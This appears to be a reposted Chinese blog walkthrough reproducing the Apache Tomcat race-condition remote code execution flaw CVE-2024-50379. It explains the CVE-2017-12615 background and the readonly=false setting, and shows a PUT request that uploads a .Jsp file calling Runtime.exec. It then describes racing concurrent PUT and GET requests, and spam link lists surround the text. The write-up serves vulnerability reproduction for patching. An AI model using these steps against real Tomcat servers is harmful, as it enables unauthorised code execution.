当前位置: 首页 > wzjs >正文

网络课程系统网站建设费用百度广告平台

网络课程系统网站建设费用,百度广告平台,电脑哪里做模板下载网站,电商专业就业前景原文链接 Apache Tomcat 最新RCE 稳定复现分析 保姆级!!!附复现视频POC 前言 最近爆出 Apache Tomcat条件竞争导致的RCE,影响范围当然是巨大的,公司也及时收到了相关情报,于是老大让我复现,以…

原文链接

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

前言

最近爆出 Apache Tomcat条件竞争导致的RCE,影响范围当然是巨大的,公司也及时收到了相关情报,于是老大让我复现,以更好的帮助公司进行修复漏洞。

复现难度其实并不大,但是成功率很低,相信很多师傅也在复现,希望能够成功,所以我对“成功率”进行了一点点研究,希望能够提高师傅们复现成功的概率。

环境搭建

经过多次的尝试,建议大家使用java8不要用太高的java版本 否则难以复现成功(关注后台回复20241219可以获取跟我一模一样的漏洞复现环境和POC)这里使用的环境如下:

jre1.8.0_202

apache-tomcat-9.0.63

windows虚拟机

配置环境变量

这里一定要配置JAVA_HOME否则会报错

需要将这个版本的java的环境变量置顶,防止其他版本的干扰,大家应该都明白

配置CATALINA_BASE

这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件

启动成功(乱码无所谓的 web.xml改一下GBK即可)

漏洞分析

影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

漏洞原理

首先来看看著名的CVE-2017-12615,我们查看tomocat的配置 (conf/web.xml)

    <!-- The mapping for the default servlet --><servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping><!-- The mappings for the JSP servlet --><servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern><url-pattern>*.jspx</url-pattern></servlet-mapping>

当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。而我们查看CVE-2017-12615的payload可知,它对文件后缀采取了一些绕过,例如PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制,让default servlet来处理请求。当default servlet处理PUT请求时如下图

    @Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {if (readOnly) {sendNotAllowed(req, resp);return;}String path = getRelativePath(req);WebResource resource = resources.getResource(path);Range range = parseContentRange(req, resp);if (range == null) {// Processing error. parseContentRange() set the error codereturn;}InputStream resourceInputStream = null;try {// Append data specified in ranges to existing content for this// resource - create a temp. file on the local filesystem to// perform this operation// Assume just one range is specified for nowif (range == IGNORE) {resourceInputStream = req.getInputStream();} else {File contentFile = executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);}if (resources.write(path, resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(HttpServletResponse.SC_NO_CONTENT);} else {resp.setStatus(HttpServletResponse.SC_CREATED);}} else {resp.sendError(HttpServletResponse.SC_CONFLICT);}} finally {if (resourceInputStream != null) {try {resourceInputStream.close();} catch (IOException ioe) {// Ignore}}}}

会去检查配置文件中的readonly的值是否为false,如果是true的话就直接return也就是不允许put请求,所以我们需要在配置文件中进行如下设置 (conf/web.cml) 注意是default servlet,因为上面讲了我们最终处理put请求是default servlet

    <servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>

最终就可以进行put上传shell了,这个就是CVE-2017-12615

那么再看看最近很火的CVE-2024-50379。原理是条件竞争,通过并发put文件上传非标准后缀的“jsp”,并不断发起get请求一个标准后最的“jsp”文件,最终由于服务器的大小写不敏感,导致请求成功造成RCE。

看看pyload是put一个xxx.Jsp(也可以PUT html…),为什么长这样呢?阅读了上文,固然就明白了。 当然是要绕过jsp servlet的后缀匹配规则了然后让default servlet去处理请求。

现在我们尝试PUT一下 数据包如下

PUT /test.Jsp HTTP/1.1
Host: 192.168.19.135:8080<% Runtime.getRuntime().exec("calc.exe");%>

返回状态码是201代表上传成功 可以去webapps/ROOT目录看到

再次重放请求的时候就是204的状态码了 说明文件已经存在

接下来开始复现该漏洞 我用的是window虚拟机 而不是真机,因为我电脑内存太大了,可能效果不会很明显,毕竟要用到条件竞争,所以如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。

yakit-发送到webFuzzer 发三个

第一个

第二个

第三个 并发线程建议大于前面两个

开弹

http://www.dtcms.com/wzjs/312897.html

相关文章:

  • 分析可口可乐网站建设的目的长沙关键词优化推荐
  • 广州网站优化seo顾问服务四川
  • 电子商务静态网站建设心得网站如何被搜索引擎收录
  • 网络营销策划方案1500字网站优化排名推荐
  • 单页销售网站如何赚钱沪深300指数
  • 北京昨晚出什么大事合肥百度推广排名优化
  • 找做仿网站网站优化软件费用
  • 深圳住房和建设局网站统一微博推广
  • 建站公司服务费包括哪些短视频seo软件
  • 郑州高端定制网站建设公司百度客服电话是多少
  • 做网站推销自己的产品这可行吗seo快速排名软件案例
  • 万户网络网站顾问百度一下首页问问
  • 东莞网站建设开发脚本外链平台
  • 网上商城推广方案seo公司哪家好
  • 网站空间商排行榜网站分为哪几种类型
  • 设计建立企业网站最佳的公司seo优
  • 深圳做网站公司图片seo优化是什么意思
  • win2003 做网站服务器东莞关键词排名快速优化
  • 烟台住房和规划建设局网站网络热词排行榜
  • 打电话来说做网站 然后答应了安徽网站设计
  • 政府网站建设的措施制作网站需要的技术与软件
  • 邢台做网站推广服务适合奖励自己的网站免费
  • 介绍一个地方旅游网站怎么做360优化大师app下载
  • 南宁网站建设云尚网络ip网站查询服务器
  • 做问卷的网站有那些电视剧排行榜
  • 如何免费自做企业网站免费网站seo排名优化
  • 为什么做网站特效用用插件上海搜索引擎优化seo
  • 郑州小程序开发费用seo优化的方法
  • 美国人做的汉字网站中国企业500强
  • 商家入驻型网站建设山东潍坊疫情最新消息